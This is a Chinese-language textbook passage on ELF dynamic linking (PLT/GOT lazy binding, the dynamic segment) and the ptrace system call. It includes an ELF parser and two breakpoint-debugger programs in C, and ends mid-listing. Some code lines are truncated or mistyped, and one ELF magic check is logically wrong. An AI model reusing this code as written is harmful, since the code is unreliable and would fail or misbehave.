PLT(过程链接表)和 GOT(全局偏移表)可以在可执行文件和共享库中找到。我们将专门关注可执行程序的 PLT/GOT。当程序调用共享库函数,例如strcpy()printf()时,这些函数直到运行时才被解析,必须存在一种机制来动态链接共享库并解析共享函数的地址。当动态链接程序被编译时,它以一种特定的方式处理共享库函数调用,与对本地函数的简单call指令完全不同。

让我们来看看 32 位编译的 ELF 可执行文件中 libc.so 函数fgets()的调用。我们将在示例中使用 32 位可执行文件,因为与 GOT 的关系更容易可视化,因为不使用 IP 相对寻址,就像在 64 位可执行文件中一样。

objdump -d test
 ...
 8048481:       e8 da fe ff ff          call   8048360<fgets@plt>
 ...

地址0x8048360对应于fgets()的 PLT 条目。让我们在可执行文件中查看该地址:

objdump -d test (grep for 8048360)
...
08048360<fgets@plt>:                    /* A jmp into the GOT */
 8048360:       ff 25 00 a0 04 08       jmp    *0x804a000
 8048366:       68 00 00 00 00          push   $0x0
 804836b:       e9 e0 ff ff ff          jmp    8048350 <_init+0x34>
...

因此,对fgets()的调用导致 8048360,这是fgets()的 PLT 跳转表条目。正如我们所看到的,在上文反汇编代码输出中,有一个间接跳转到存储在0x804a000处的地址。这个地址是 GOT(全局偏移表)条目,其中存储了 libc 共享库中实际fgets()函数的地址。

然而,第一次调用函数时,如果使用的是默认行为懒惰链接,那么动态链接器尚未解析其地址。懒惰链接意味着动态链接器不应在程序加载时解析每个函数。相反,它将在调用时解析函数,这是通过.plt.got.plt部分(分别对应过程链接表和全局偏移表)实现的。可以通过LD_BIND_NOW环境变量将此行为更改为所谓的严格链接,以便所有动态链接都发生在程序加载时。懒惰链接增加了加载时间的性能,这就是为什么它是默认行为,但它也可能是不可预测的,因为链接错误可能要等到程序运行一段时间后才会发生。在多年的经验中,我只遇到过一次这种情况。值得注意的是,一些安全功能,即只读重定位,除非启用了严格链接,否则无法应用,因为.plt.got部分(以及其他部分)被标记为只读;这只能在动态链接器完成修补后发生,因此必须使用严格链接。

让我们来看看fgets()的重定位条目:

$ readelf -r test
Offset   Info      Type           SymValue    SymName
...
0804a000  00000107 R_386_JUMP_SLOT   00000000   fgets
...

注意

R_386_JUMP_SLOT是 PLT/GOT 条目的重定位类型。在x86_64上,它被称为R_X86_64_JUMP_SLOT

请注意,重定位偏移量是地址 0x804a000,与fgets() PLT 跳转到的相同地址。假设fgets()是第一次被调用,动态链接器必须解析fgets()的地址,并将其值放入fgets()的 GOT 条目中。

让我们来看看我们测试程序中的 GOT:

08049ff4 <_GLOBAL_OFFSET_TABLE_>:
 8049ff4:       28 9f 04 08 00 00       sub    %bl,0x804(%edi)
 8049ffa:       00 00                   add    %al,(%eax)
 8049ffc:       00 00                   add    %al,(%eax)
 8049ffe:       00 00                   add    %al,(%eax)
 804a000:       66 83 04 08 76          addw   $0x76,(%eax,%ecx,1)
 804a005:       83 04 08 86             addl   $0xffffff86,(%eax,%ecx,1)
 804a009:       83 04 08 96             addl   $0xffffff96,(%eax,%ecx,1)
 804a00d:       83                      .byte 0x83
 804a00e:       04 08                   add    $0x8,%al

地址0x08048366在上文中被突出显示,并且在 GOT 中的0x804a000处找到。请记住,小端序颠倒了字节顺序,因此它显示为66 83 04 08。这个地址不是fgets()函数的地址,因为它尚未被链接器解析,而是指向fgets()的 PLT 条目。让我们再次看一下fgets()的 PLT 条目:

08048360 <fgets@plt>:
 8048360:       ff 25 00 a0 04 08       jmp    *0x804a000
 8048366:       68 00 00 00 00          push   $0x0
 804836b:       e9 e0 ff ff ff          jmp    8048350 <_init+0x34>

因此,jmp *0x804a000 跳转到0x8048366中包含的地址,这是push $0x0指令。该 push 指令有一个目的,即将fgets()的 GOT 条目推送到堆栈上。fgets()的 GOT 条目偏移为 0x0,对应于保留给共享库符号值的第一个 GOT 条目,实际上是第四个 GOT 条目,即 GOT[3]。换句话说,共享库地址不是从 GOT[0]开始插入的,而是从 GOT[3]开始(第四个条目),因为前三个条目是为其他目的保留的。

注意

请注意以下 GOT 偏移:

  • GOT[0]包含一个地址,指向可执行文件的动态段,动态链接器用于提取与动态链接相关的信息

  • GOT[1]包含了动态链接器用于解析符号的link_map结构的地址。

  • GOT[2]包含动态链接器_dl_runtime_resolve()函数的地址,用于解析共享库函数的实际符号地址。

fgets() PLT 存根中的最后一条指令是 jmp 8048350。该地址指向每个可执行文件中的第一个 PLT 条目,称为 PLT-0。

PLT-0 中包含我们可执行文件的以下代码:

 8048350:       ff 35 f8 9f 04 08       pushl  0x8049ff8
 8048356:       ff 25 fc 9f 04 08       jmp    *0x8049ffc
 804835c:       00 00                   add    %al,(%eax)

第一个pushl指令将第二个 GOT 条目 GOT[1]的地址推送到堆栈上,正如前面所述,其中包含link_map结构的地址。

jmp *0x8049ffc 执行对第三个 GOT 条目 GOT[2]的间接跳转,其中包含动态链接器_dl_runtime_resolve()函数的地址,因此将控制权转移到动态链接器并解析fgets()的地址。一旦fgets()被解析,对forfgets()的所有未来调用都将导致跳转到fgets()代码本身,而不是指向 PLT 并再次进行延迟链接过程。

以下是我们刚刚讨论的内容的总结:

  1. 调用fgets@PLT(调用fgets函数)。

  2. PLT 代码执行对 GOT 中地址的间接jmp

  3. GOT 条目包含指向 PLT 中push指令的地址。

  4. push $0x0指令将fgets()的 GOT 条目的偏移推送到堆栈上。

  5. 最终的fgets() PLT 指令是跳转到 PLT-0 代码。

  6. PLT-0 的第一条指令将 GOT[1]的地址推送到堆栈上,其中包含fgets()link_map结构的偏移。

  7. PLT-0 的第二条指令是跳转到 GOT[2]中的地址,该地址指向动态链接器的_dl_runtime_resolve(),然后通过将fgets()的符号值(内存地址)添加到.got.plt部分中相应的 GOT 条目来处理R_386_JUMP_SLOT重定位。

下一次调用fgets()时,PLT 条目将直接跳转到函数本身,而不必再执行重定位过程。

重新访问动态段

我之前提到动态段被命名为.dynamic。动态段有一个引用它的段头,但它也有一个引用它的程序头,因为动态链接器必须在运行时找到它;由于段头不会被加载到内存中,因此必须有一个相关的程序头。

动态段包含了类型为ElfN_Dyn的结构数组:

typedef struct {
    Elf32_Sword    d_tag;
    union {
      Elf32_Word d_val;
      Elf32_Addr d_ptr;
    } d_un;
} Elf32_Dyn;

d_tag字段包含一个标签,与 ELF(5)手册中可以找到的众多定义之一匹配。我列出了动态链接器使用的一些最重要的定义。

DT_NEEDED

这包含了所需共享库的名称的字符串表偏移。

DT_SYMTAB

这包含了动态符号表的地址,也被称为.dynsym部分。

DT_HASH

这包含了符号哈希表的地址,也被称为.hash部分(有时也被命名为.gnu.hash)。

DT_STRTAB

这包含了符号字符串表的地址,也被称为.dynstr部分。

DT_PLTGOT

这保存了全局偏移表的地址。

注意

前面的动态标签演示了如何通过动态段找到某些部分的位置,这些部分可以帮助在取证重建任务中重建段头表。如果段头表已被剥离,一个聪明的人可以通过从动态段(即.dynstr、.dynsym 和.hash 等)获取信息来重建部分内容。

其他段,如文本和数据,也可以提供所需的信息(例如.text.data部分)。

ElfN_Dynd_val成员保存一个整数值,有各种解释,比如作为重定位条目的大小。

d_ptr成员保存一个虚拟内存地址,可以指向链接器需要的各种位置;一个很好的例子是d_tag DT_SYMTAB的符号表地址。

动态链接器利用ElfN_Dynd_tags来定位动态段的不同部分,这些部分通过d_tag(例如DT_SYMTAB)指向可执行文件的某个部分,其中d_ptr给出了符号表的虚拟地址。

当动态链接器映射到内存中时,如果有必要,它首先处理自己的任何重定位;请记住,链接器本身也是一个共享库。然后,它查看可执行程序的动态段,并搜索包含指向所需共享库的字符串或路径名的DT_NEEDED标签。当它将所需的共享库映射到内存时,它访问库的动态段(是的,它们也有动态段),并将库的符号表添加到存在的用于保存每个映射库的符号表的链中。

链接器为每个共享库创建一个link_map结构条目,并将其存储在一个链表中:

struct link_map
  {
    ElfW(Addr) l_addr; /* Base address shared object is loaded at.  */
    char *l_name;      /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;   /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
  };

一旦链接器完成了构建其依赖项列表,它会处理每个库的重定位,类似于本章前面讨论的重定位,以及修复每个共享库的 GOT。懒惰链接仍然适用于共享库的 PLT/GOT,因此 GOT 重定位(类型为R_386_JMP_SLOT)直到实际调用函数时才会发生。

有关 ELF 和动态链接的更详细信息,请阅读在线的 ELF 规范,或查看一些有趣的 glibc 源代码。希望到这一点,动态链接已经不再是一个神秘,而是一个引人入胜的东西。在第七章进程内存取证中,我们将介绍 PLT/GOT 中毒技术,以重定向共享库函数调用。一个非常有趣的技术是颠覆动态链接。

编写 ELF 解析器

为了帮助总结我们所学到的一些知识,我包含了一些简单的代码,将打印出一个 32 位 ELF 可执行文件的程序头和段名称。本书中将展示更多与 ELF 相关的代码示例(以及更有趣的示例):

/* elfparse.c – gcc elfparse.c -o elfparse */
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <elf.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv)
{
   int fd, i;
   uint8_t *mem;
   struct stat st;
   char *StringTable, *interp;

   Elf32_Ehdr *ehdr;
   Elf32_Phdr *phdr;
   Elf32_Shdr *shdr;

   if (argc < 2) {
      printf("Usage: %s <executable>\n", argv[0]);
      exit(0);
   }

   if ((fd = open(argv[1], O_RDONLY)) < 0) {
      perror("open");
      exit(-1);
   }

   if (fstat(fd, &st) < 0) {
      perror("fstat");
      exit(-1);
   }

   /* Map the executable into memory */
   mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
   if (mem == MAP_FAILED) {
      perror("mmap");
      exit(-1);
   }

   /*
    * The initial ELF Header starts at offset 0
    * of our mapped memory.
    */
   ehdr = (Elf32_Ehdr *)mem;

   /*
    * The shdr table and phdr table offsets are
    * given by e_shoff and e_phoff members of the
    * Elf32_Ehdr.
    */
   phdr = (Elf32_Phdr *)&mem[ehdr->e_phoff];
   shdr = (Elf32_Shdr *)&mem[ehdr->e_shoff];

   /*
    * Check to see if the ELF magic (The first 4 bytes)
    * match up as 0x7f E L F
    */
   if (mem[0] != 0x7f && strcmp(&mem[1], "ELF")) {
      fprintf(stderr, "%s is not an ELF file\n", argv[1]);
      exit(-1);
   }

   /* We are only parsing executables with this code.
    * so ET_EXEC marks an executable.
    */
   if (ehdr->e_type != ET_EXEC) {
      fprintf(stderr, "%s is not an executable\n", argv[1]);
      exit(-1);
   }

   printf("Program Entry point: 0x%x\n", ehdr->e_entry);

   /*
    * We find the string table for the section header
    * names with e_shstrndx which gives the index of
    * which section holds the string table.
    */
   StringTable = &mem[shdr[ehdr->e_shstrndx].sh_offset];

   /*
    * Print each section header name and address.
    * Notice we get the index into the string table
    * that contains each section header name with
    * the shdr.sh_name member.
    */
   printf("Section header list:\n\n");
   for (i = 1; i < ehdr->e_shnum; i++)
      printf("%s: 0x%x\n", &StringTable[shdr[i].sh_name], shdr[i].sh_addr);

   /*
    * Print out each segment name, and address.
    * Except for PT_INTERP we print the path to
    * the dynamic linker (Interpreter).
    */
   printf("\nProgram header list\n\n");
   for (i = 0; i < ehdr->e_phnum; i++) {   
      switch(phdr[i].p_type) {
         case PT_LOAD:
            /*
             * We know that text segment starts
             * at offset 0\. And only one other
             * possible loadable segment exists
             * which is the data segment.
             */
            if (phdr[i].p_offset == 0)
               printf("Text segment: 0x%x\n", phdr[i].p_vaddr);
            else
               printf("Data segment: 0x%x\n", phdr[i].p_vaddr);
         break;
         case PT_INTERP:
            interp = strdup((char *)&mem[phdr[i].p_offset]);
            printf("Interpreter: %s\n", interp);
            break;
         case PT_NOTE:
            printf("Note segment: 0x%x\n", phdr[i].p_vaddr);
            break;
         case PT_DYNAMIC:
            printf("Dynamic segment: 0x%x\n", phdr[i].p_vaddr);
            break;
         case PT_PHDR:
            printf("Phdr segment: 0x%x\n", phdr[i].p_vaddr);
            break;
      }
   }

   exit(0);
}

提示

下载示例代码

您可以从www.packtpub.com的帐户中下载您购买的所有 Packt Publishing 图书的示例代码文件。如果您在其他地方购买了本书,您可以访问www.packtpub.com/support并注册,文件将直接通过电子邮件发送给您。

总结

现在我们已经探索了 ELF,我敦促读者继续探索这种格式。在本书中,您将遇到许多项目,希望能激发您的兴趣。学习这些知识需要多年的热情和探索,我很感激能够分享我所学到的知识,并以一种有趣和创造性的方式呈现给读者,帮助他们学习这些困难的材料。

第三章:Linux 进程跟踪

在上一章中,我们介绍了ELF格式的内部结构并解释了它的内部工作原理。在使用ELF的 Linux 和其他 Unix 风格的操作系统中,ptrace系统调用与分析、调试、逆向工程和修改使用ELF格式的程序密切相关。ptrace系统调用用于连接到进程并访问整个代码、数据、堆栈、堆和寄存器范围。

由于ELF程序完全映射在进程地址空间中,您可以连接到进程并类似于在磁盘上对实际ELF文件进行操作一样解析或修改ELF镜像。主要区别在于我们使用ptrace来访问程序,而不是使用open/mmap/read/write调用来访问ELF文件。

使用ptrace,我们可以完全控制程序的执行流程,这意味着我们可以做一些非常有趣的事情,从内存病毒感染和病毒分析/检测到用户态内存 rootkit、高级调试任务、热修补和逆向工程。由于本书中有专门章节涵盖了其中一些任务,我们暂时不会深入讨论每一个。相反,我将为您提供一个入门,让您了解ptrace的一些基本功能以及黑客如何使用它。

ptrace 的重要性

在 Linux 中,ptrace(2)系统调用是用户空间访问进程地址空间的手段。这意味着某人可以连接到他们拥有的进程并修改、分析、逆向和调试它。著名的调试和分析应用程序,如gdbstraceltrace都是ptrace辅助应用程序。ptrace命令对于逆向工程师和恶意软件作者都非常有用。

它给程序员提供了连接到进程并修改内存的能力,这可以包括注入代码和修改重要的数据结构,比如用于共享库重定向的全局偏移表GOT)。在本节中,我们将介绍ptrace最常用的功能,演示来自攻击者方的内存感染,以及通过编写一个程序来将进程镜像重构回可执行文件进行进程分析。如果您从未使用过ptrace,那么您会发现您错过了很多乐趣!

ptrace 请求

ptrace系统调用有一个libc包装器,就像任何其他系统调用一样,所以你可以包含ptrace.h并简单地调用ptrace,同时传递一个请求和一个进程 ID。以下细节并不取代ptrace(2)的主要页面,尽管一些描述是从主要页面借来的。

这就是概要。

#include <sys/ptrace.h>
long ptrace(enum __ptrace_request request, pid_t pid,
void *addr, void *data);

ptrace 请求类型

以下是在使用ptrace与进程镜像交互时最常用的请求列表:

请求 描述
PTRACE_ATTACH 连接到指定pid的进程,使其成为调用进程的被跟踪者。被跟踪者会收到一个SIGSTOP信号,但不一定在此调用完成时已经停止。使用waitpid(2)等待被跟踪者停止。
PTRACE_TRACEME 表示此进程将由其父进程进行跟踪。如果父进程不希望跟踪它,那么进程可能不应该发出此请求。
PTRACE_PEEKTEXT PTRACE_PEEKDATA PTRACE_PEEKUSER 这些请求允许跟踪进程从被跟踪进程镜像中的虚拟内存地址读取;例如,我们可以将整个文本或数据段读入缓冲区进行分析。请注意,在PEEKTEXTPEEKDATAPEEKUSER请求之间的实现没有区别。
PTRACE_POKTEXT PTRACE_POKEDATA PTRACE_POKEUSER 这些请求允许跟踪进程修改被跟踪进程镜像中的任何位置。
PTRACE_GETREGS 此请求允许跟踪进程获取被跟踪进程的寄存器副本。当然,每个线程上下文都有自己的寄存器集。
PTRACE_SETREGS 此请求允许跟踪进程为被跟踪的进程设置新的寄存器值,例如,修改指令指针的值指向 shellcode。
PTRACE_CONT 此请求告诉停止的被跟踪进程恢复执行。
PTRACE_DETACH 此请求恢复被跟踪的进程,但也会分离。
PTRACE_SYSCALL 此请求恢复被跟踪的进程,但安排它在下一个系统调用的入口/退出处停止。这允许我们检查系统调用的参数,甚至修改它们。这个ptrace请求在一个名为strace的程序的代码中被大量使用,它随大多数 Linux 发行版一起提供。
PTRACE_SINGLESTEP 这会恢复进程,但在下一条指令后停止它。单步执行允许调试器在执行每条指令后停止。这允许用户在每条指令后检查寄存器的值和进程的状态。
PTRACE_GETSIGINFO 这会检索导致停止的信号的信息。它检索siginfo_t结构的副本,我们可以分析或修改它(使用PTRACE_SETSIGINFO)发送回 tracee。
PTRACE_SETSIGINFO 设置信号信息。从跟踪器中的地址数据复制一个siginfo_t结构到 tracee。这只会影响通常会传递给 tracee 并且会被 tracer 捕获的信号。很难区分这些正常信号和ptrace()本身生成的合成信号(addr被忽略)。
PTRACE_SETOPTIONS 从数据中设置ptrace选项(addr被忽略)。数据被解释为选项的位掩码。这些选项由以下部分的标志指定(查看ptrace(2)的主页面进行列出)。

术语tracer指的是正在进行跟踪的进程(调用ptrace的进程),而术语traceethe traced指的是被 tracer 跟踪的程序(使用ptrace)。

注意

默认行为会覆盖任何 mmap 或 mprotect 权限。这意味着用户可以使用ptrace写入文本段(即使它是只读的)。如果内核是 pax 或 grsec 并且使用 mprotect 限制进行了修补,这就不成立了,它会强制执行段权限,以便它们也适用于ptrace;这是一个安全功能。

我在vxheavens.com/lib/vrn00.html上的关于ELF 运行时感染的论文讨论了一些绕过这些限制进行代码注入的方法。

进程寄存器状态和标志

x86_64user_regs_struct结构包含通用寄存器、分段寄存器、堆栈指针、指令指针、CPU 标志和 TLS 寄存器:

<sys/user.h>
struct user_regs_struct
{
  __extension__ unsigned long long int r15;
  __extension__ unsigned long long int r14;
  __extension__ unsigned long long int r13;
  __extension__ unsigned long long int r12;
  __extension__ unsigned long long int rbp;
  __extension__ unsigned long long int rbx;
  __extension__ unsigned long long int r11;
  __extension__ unsigned long long int r10;
  __extension__ unsigned long long int r9;
  __extension__ unsigned long long int r8;
  __extension__ unsigned long long int rax;
  __extension__ unsigned long long int rcx;
  __extension__ unsigned long long int rdx;
  __extension__ unsigned long long int rsi;
  __extension__ unsigned long long int rdi;
  __extension__ unsigned long long int orig_rax;
  __extension__ unsigned long long int rip;
  __extension__ unsigned long long int cs;
  __extension__ unsigned long long int eflags;
  __extension__ unsigned long long int rsp;
  __extension__ unsigned long long int ss;
  __extension__ unsigned long long int fs_base;
  __extension__ unsigned long long int gs_base;
  __extension__ unsigned long long int ds;
  __extension__ unsigned long long int es;
  __extension__ unsigned long long int fs;
  __extension__ unsigned long long int gs;
};

在 32 位 Linux 内核中,%gs被用作线程本地存储TLS)指针,尽管自x86_64以来,%fs寄存器已被用于此目的。使用user_regs_struct中的寄存器,并使用ptrace对进程的内存进行读/写访问,我们可以完全控制它。作为练习,让我们编写一个简单的调试器,允许我们在程序中的某个函数处设置断点。当程序运行时,它将在断点处停止并打印寄存器值和函数参数。

一个简单的基于 ptrace 的调试器

让我们看一个使用ptrace创建调试器程序的代码示例:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>

typedef struct handle {
  Elf64_Ehdr *ehdr;
  Elf64_Phdr *phdr;
  Elf64_Shdr *shdr;
  uint8_t *mem;
  char *symname;
  Elf64_Addr symaddr;
  struct user_regs_struct pt_reg;
  char *exec;
} handle_t;

Elf64_Addr lookup_symbol(handle_t *, const char *);

int main(int argc, char **argv, char **envp)
{
  int fd;
  handle_t h;
  struct stat st;
  long trap, orig;
  int status, pid;
  char * args[2];
  if (argc < 3) {
    printf("Usage: %s <program> <function>\n", argv[0]);
    exit(0);
  }
  if ((h.exec = strdup(argv[1])) == NULL) {
    perror("strdup");
    exit(-1);
  }
  args[0] = h.exec;
  args[1] = NULL;
  if ((h.symname = strdup(argv[2])) == NULL) {
    perror("strdup");
    exit(-1);
  }
  if ((fd = open(argv[1], O_RDONLY)) < 0) {
    perror("open");
    exit(-1);
  }
  if (fstat(fd, &st) < 0) {
    perror("fstat");
    exit(-1);
  }
  h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
  if (h.mem == MAP_FAILED) {
    perror("mmap");
    exit(-1);
  }
  h.ehdr = (Elf64_Ehdr *)h.mem;
  h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr->e_phoff);
  h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr->e_shoff);
  if+ (h.mem[0] != 0x7f || strcmp((char *)&h.mem[1], "ELF")) {
    printf("%s is not an ELF file\n",h.exec);
    exit(-1);
  }
  if (h.ehdr->e_type != ET_EXEC) {
    printf("%s is not an ELF executable\n", h.exec);
    exit(-1);
  }
  if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum == 0) {
    printf("Section header table not found\n");
    exit(-1);
  }
  if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) {
    printf("Unable to find symbol: %s not found in executable\n", h.symname);
    exit(-1);
  }
  close(fd);
  if ((pid = fork()) < 0) {
    perror("fork");
    exit(-1);
  }
  if (pid == 0) {
    if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) {
      perror("PTRACE_TRACEME");
      exit(-1);
    }
    execve(h.exec, args, envp);
    exit(0);
  }
  wait(&status);
  printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr);
  if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) {
    perror("PTRACE_PEEKTEXT");
    exit(-1);
  }
  trap = (orig & ~0xff) | 0xcc;
  if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
    perror("PTRACE_POKETEXT");
    exit(-1);
  }
  trace:
  if (ptrace(PTRACE_CONT, pid, NULL, NULL) < 0) {
    perror("PTRACE_CONT");
    exit(-1);
  }
  wait(&status);
  if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) {
    if (ptrace(PTRACE_GETREGS, pid, NULL, &h.pt_reg) < 0) {
      perror("PTRACE_GETREGS");
      exit(-1);
    }
    printf("\nExecutable %s (pid: %d) has hit breakpoint 0x%lx\n",
    h.exec, pid, h.symaddr);
    printf("%%rcx: %llx\n%%rdx: %llx\n%%rbx: %llx\n"
    "%%rax: %llx\n%%rdi: %llx\n%%rsi: %llx\n"
    "%%r8: %llx\n%%r9: %llx\n%%r10: %llx\n"
    "%%r11: %llx\n%%r12 %llx\n%%r13 %llx\n"
    "%%r14: %llx\n%%r15: %llx\n%%rsp: %llx",
    h.pt_reg.rcx, h.pt_reg.rdx, h.pt_reg.rbx,
    h.pt_reg.rax, h.pt_reg.rdi, h.pt_reg.rsi,
    h.pt_reg.r8, h.pt_reg.r9, h.pt_reg.r10,
    h.pt_reg.r11, h.pt_reg.r12, h.pt_reg.r13,
    h.pt_reg.r14, h.pt_reg.r15, h.pt_reg.rsp);
    printf("\nPlease hit any key to continue: ");
    getchar();
    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, orig) < 0) {
      perror("PTRACE_POKETEXT");
      exit(-1);
    }
    h.pt_reg.rip = h.pt_reg.rip - 1;
    if (ptrace(PTRACE_SETREGS, pid, NULL, &h.pt_reg) < 0) {
      perror("PTRACE_SETREGS");
      exit(-1);
    }
    if (ptrace(PTRACE_SINGLESTEP, pid, NULL, NULL) < 0) {
      perror("PTRACE_SINGLESTEP");
      exit(-1);
    }
    wait(NULL);
    if (ptrace(PTRACE_POKETEXT, pid, h.symaddr, trap) < 0) {
      perror("PTRACE_POKETEXT");
      exit(-1);
    }
    goto trace;
    }
    if (WIFEXITED(status))
    printf("Completed tracing pid: %d\n", pid);
    exit(0);
  }

  Elf64_Addr lookup_symbol(handle_t *h, const char *symname)
  {
    int i, j;
    char *strtab;
    Elf64_Sym *symtab;
    for (i = 0; i < h->ehdr->e_shnum; i++) {
      if (h->shdr[i].sh_type == SHT_SYMTAB) {
        strtab = (char *)&h->mem[h->shdr[h->shdr[i].sh_link].sh_offset];
        symtab = (Elf64_Sym *)&h->mem[h->shdr[i].sh_offset];
        for (j = 0; j < h->shdr[i].sh_size/sizeof(Elf64_Sym); j++) {
          if(strcmp(&strtab[symtab->st_name], symname) == 0)
          return (symtab->st_value);
          symtab++;
        }
      }
    }
  return 0;
  }
}

使用跟踪程序

要编译前面的源代码,请使用以下命令:

gcc tracer.c –o tracer

请记住,tracer.c通过查找和引用SHT_SYMTAB类型的段头来定位符号表,因此它不适用于已经剥离了SHT_SYMTAB符号表的可执行文件(尽管它们可能有SHT_DYNSYM)。这其实是有道理的,因为通常我们调试的程序仍处于开发阶段,所以它们通常有一个完整的符号表。

另一个限制是它不允许你向正在执行和跟踪的程序传递参数。因此,在真正的调试情况下,你可能需要向正在调试的程序传递开关或命令行选项,这样它就不会表现得很好。

作为我们设计的./tracer程序的一个例子,让我们尝试在一个非常简单的程序上使用它,这个程序调用一个名为print_string(char *)的函数两次,并在第一轮传递Hello 1字符串,在第二轮传递Hello 2

这是使用./tracer代码的一个例子:

$ ./tracer ./test print_string
Beginning analysis of pid: 6297 at 40057d
Executable ./test (pid: 6297) has hit breakpoint 0x40057d
%rcx: 0
%rdx: 7fff4accbf18
%rbx: 0
%rax: 400597
%rdi: 400644
%rsi: 7fff4accbf08
%r8: 7fd4f09efe80
%r9: 7fd4f0a05560
%r10: 7fff4accbcb0
%r11: 7fd4f0650dd0
%r12 400490
%r13 7fff4accbf00
%r14: 0
%r15: 0
%rsp: 7fff4accbe18
Please hit any key to continue: c
Hello 1
Executable ./test (pid: 6297) has hit breakpoint 0x40057d
%rcx: ffffffffffffffff
%rdx: 7fd4f09f09e0
%rbx: 0
%rax: 9
%rdi: 40064d
%rsi: 7fd4f0c14000
%r8: ffffffff
%r9: 0
%r10: 22
%r11: 246
%r12 400490
%r13 7fff4accbf00
%r14: 0
%r15: 0
%rsp: 7fff4accbe18
Hello 2
Please hit any key to continue: Completed tracing pid: 6297

正如你所看到的,print_string上设置了一个断点,每次调用该函数时,我们的./tracer程序都会捕获陷阱,打印寄存器值,然后在我们按下字符后继续执行。./tracer程序是gdb等调试器工作的一个很好的例子。虽然它要简单得多,但它演示了进程跟踪、断点和符号查找。

如果你想一次执行一个程序并跟踪它,这个程序效果很好。但是如果要跟踪一个已经运行的进程呢?在这种情况下,我们希望使用PTRACE_ATTACH附加到进程映像。这个请求发送一个SIGSTOP到我们附加的进程,所以我们使用waitwaitpid等待进程停止。

具有进程附加功能的简单 ptrace 调试器

让我们看一个代码示例:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <elf.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <sys/mman.h>

typedef struct handle {
  Elf64_Ehdr *ehdr;
  Elf64_Phdr *phdr;
  Elf64_Shdr *shdr;
  uint8_t *mem;
  char *symname;
  Elf64_Addr symaddr;
  struct user_regs_struct pt_reg;
  char *exec;
} handle_t;

int global_pid;
Elf64_Addr lookup_symbol(handle_t *, const char *);
char * get_exe_name(int);
void sighandler(int);
#define EXE_MODE 0
#define PID_MODE 1

int main(int argc, char **argv, char **envp)
{
  int fd, c, mode = 0;
  handle_t h;
  struct stat st;
  long trap, orig;
  int status, pid;
  char * args[2];

    printf("Usage: %s [-ep <exe>/<pid>]
    [f <fname>]\n", argv[0]);

  memset(&h, 0, sizeof(handle_t));
  while ((c = getopt(argc, argv, "p:e:f:")) != -1)
  {
  switch(c) {
    case 'p':
    pid = atoi(optarg);
    h.exec = get_exe_name(pid);
    if (h.exec == NULL) {
      printf("Unable to retrieve executable path for pid: %d\n",
      pid);
      exit(-1);
    }
    mode = PID_MODE;
    break;
    case 'e':
    if ((h.exec = strdup(optarg)) == NULL) {
      perror("strdup");
      exit(-1);
    }
    mode = EXE_MODE;
    break;
    case 'f':
    if ((h.symname = strdup(optarg)) == NULL) {
      perror("strdup");
      exit(-1);
    }
    break;
    default:
    printf("Unknown option\n");
    break;
  }
}
if (h.symname == NULL) {
  printf("Specifying a function name with -f
  option is required\n");
  exit(-1);
}
if (mode == EXE_MODE) {
  args[0] = h.exec;
  args[1] = NULL;
}
signal(SIGINT, sighandler);
if ((fd = open(h.exec, O_RDONLY)) < 0) {
  perror("open");
  exit(-1);
}
if (fstat(fd, &st) < 0) {
  perror("fstat");
  exit(-1);
}
h.mem = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
if (h.mem == MAP_FAILED) {
  perror("mmap");
  exit(-1);
}
h.ehdr = (Elf64_Ehdr *)h.mem;
h.phdr = (Elf64_Phdr *)(h.mem + h.ehdr>
h.shdr = (Elf64_Shdr *)(h.mem + h.ehdr>

if (h.mem[0] != 0x7f &&!strcmp((char *)&h.mem[1], "ELF")) {
  printf("%s is not an ELF file\n",h.exec);
  exit(-1);
}
if (h.ehdr>e_type != ET_EXEC) {
  printf("%s is not an ELF executable\n", h.exec);
  exit(-1);
}
if (h.ehdr->e_shstrndx == 0 || h.ehdr->e_shoff == 0 || h.ehdr->e_shnum == 0) {
  printf("Section header table not found\n");
  exit(-1);
}
if ((h.symaddr = lookup_symbol(&h, h.symname)) == 0) {
  printf("Unable to find symbol: %s not found in executable\n", h.symname);
  exit(-1);
}
close(fd);
if (mode == EXE_MODE) {
  if ((pid = fork()) < 0) {
    perror("fork");
    exit(-1);
  }
  if (pid == 0) {
    if (ptrace(PTRACE_TRACEME, pid, NULL, NULL) < 0) {
      perror("PTRACE_TRACEME");
      exit(-1);
    }
    execve(h.exec, args, envp);
    exit(0);
  }
} else { // attach to the process 'pid'
  if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
    perror("PTRACE_ATTACH");
    exit(-1);
  }
}
wait(&status); // wait tracee to stop
global_pid = pid;
printf("Beginning analysis of pid: %d at %lx\n", pid, h.symaddr);
// Read the 8 bytes at h.symaddr
if ((orig = ptrace(PTRACE_PEEKTEXT, pid, h.symaddr, NULL)) < 0) {
  perror("PTRACE_PEEKTEXT");
  exit(-1);
}

// set a break point
trap = (orig & ~0xff) | 0xcc;
